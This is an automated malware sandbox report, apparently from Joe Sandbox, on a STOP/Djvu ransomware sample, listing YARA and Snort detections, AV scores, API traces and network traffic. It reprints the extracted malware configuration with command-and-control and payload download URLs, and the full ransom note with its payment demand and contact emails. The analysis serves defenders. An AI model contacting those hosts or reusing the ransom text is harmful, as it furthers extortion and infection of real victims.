2.0.bE5aaTiJM0.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 328 entries

Snort Signatures

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 58.235.189.192

Timestamp:	192.168.2.658.235.189.19249782802833438 08/05/22-11:22:58.893846
SID:	2833438
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 58.235.189.192 - Destination IP: 192.168.2.6

Timestamp:	58.235.189.192192.168.2.680497822036335 08/05/22-11:22:59.718335
SID:	2036335
Source Port:	80
Destination Port:	49782
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: bE5aaTiJM0.exe	Virustotal: Detection: 39%			Perma Link
Source: bE5aaTiJM0.exe	ReversingLabs: Detection: 53%

Antivirus detection for URL or domain

Source: http://acacaca.org/test2/get.php	Avira URL Cloud: Label: malware
Source: http://acacaca.org/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: acacaca.org	Virustotal: Detection: 17%			Perma Link
Source: http://acacaca.org/test2/get.php	Virustotal: Detection: 18%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe

ReversingLabs: Detection: 53%

Machine Learning detection for sample

Source: bE5aaTiJM0.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe

Joe Sandbox ML: detected

Source: 2.0.bE5aaTiJM0.exe.400000.6.unpack

Malware Configuration Extractor: Djvu {"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://acacaca.org/files/1/build3.exe"], "C2 url": "http://acacaca.org/test2/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-QsoSRIeAK6\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0531Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\W

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,

Source: bE5aaTiJM0.exe, 0000000C.00000003.618061651.00000000008E3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: bE5aaTiJM0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File created: C:\_readme.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File created: C:\Users\user\_readme.txt			Jump to behavior

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49781 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: bE5aaTiJM0.exe, bE5aaTiJM0.exe, 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\xat\100\fahunisu_kuxuse\wuce97-sibemudex.pdb source: bE5aaTiJM0.exe, bE5aaTiJM0.exe.2.dr
Source:	Binary string: AC:\xat\100\fahunisu_kuxuse\wuce97-sibemudex.pdb` source: bE5aaTiJM0.exe, bE5aaTiJM0.exe.2.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: bE5aaTiJM0.exe, 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.6:49782 -> 58.235.189.192:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 58.235.189.192:80 -> 192.168.2.6:49782

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://acacaca.org/test2/get.php

Source: Joe Sandbox View

ASN Name: SKB-ASSKBroadbandCoLtdKR SKB-ASSKBroadbandCoLtdKR

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 162.0.217.254 162.0.217.254
Source: Joe Sandbox View	IP Address: 58.235.189.192 58.235.189.192

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: bE5aaTiJM0.exe, 0000000C.00000003.540809343.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: bE5aaTiJM0.exe, 0000000C.00000003.545804124.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: bE5aaTiJM0.exe, 0000000C.00000003.547069468.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: bE5aaTiJM0.exe, 0000000C.00000002.619149998.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.618033363.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acacaca.org/test2/get.php
Source: bE5aaTiJM0.exe, 0000000C.00000003.617951064.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619149998.00000000008A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acacaca.org/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
Source: bE5aaTiJM0.exe, 0000000B.00000002.436291517.00000000007BD000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000003.435286392.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.617951064.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619149998.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: bE5aaTiJM0.exe, 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: bE5aaTiJM0.exe, 0000000C.00000003.538674983.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: bE5aaTiJM0.exe, 0000000C.00000003.542183889.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: bE5aaTiJM0.exe, 0000000C.00000003.543541001.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: bE5aaTiJM0.exe, 0000000C.00000003.544406916.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: bE5aaTiJM0.exe, 0000000C.00000003.545161091.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: bE5aaTiJM0.exe, 0000000C.00000003.545804124.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: bE5aaTiJM0.exe, 0000000C.00000003.546297954.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: bE5aaTiJM0.exe, 0000000C.00000003.547069468.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: bE5aaTiJM0.exe, 0000000C.00000003.617951064.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619149998.00000000008A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: bE5aaTiJM0.exe, 0000000B.00000002.436291517.00000000007BD000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000003.435286392.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/S
Source: bE5aaTiJM0.exe, 0000000B.00000002.436291517.00000000007BD000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000003.435286392.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/U
Source: bE5aaTiJM0.exe, 0000000B.00000002.436219532.0000000000778000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000003.435286392.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.617951064.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619149998.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619018447.0000000000848000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonG
Source: bE5aaTiJM0.exe, 0000000B.00000002.436250212.00000000007A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ
Source: bE5aaTiJM0.exe, 0000000B.00000002.436219532.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsondllZ
Source: bE5aaTiJM0.exe, 0000000B.00000002.436250212.00000000007A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonj
Source: bE5aaTiJM0.exe, 0000000C.00000003.617923119.0000000000909000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619591429.0000000000909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-QsoSRIeA
Source: bE5aaTiJM0.exe, 0000000C.00000002.619614591.0000000000914000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619400903.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.618130988.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.617889344.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.617644288.0000000000914000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.12.dr, _readme.txt0.12.dr	String found in binary or memory: https://we.tl/t-QsoSRIeAK6

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: acacaca.org

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49781 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-QsoSRIeAK6Price of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@bestyourmail.chReserve e-mail address to contact us:datarestorehelp@airmail.ccYour personal ID:0531Jhyjd0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA

Yara detected Djvu Ransomware

Source: Yara match	File source: 9.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE
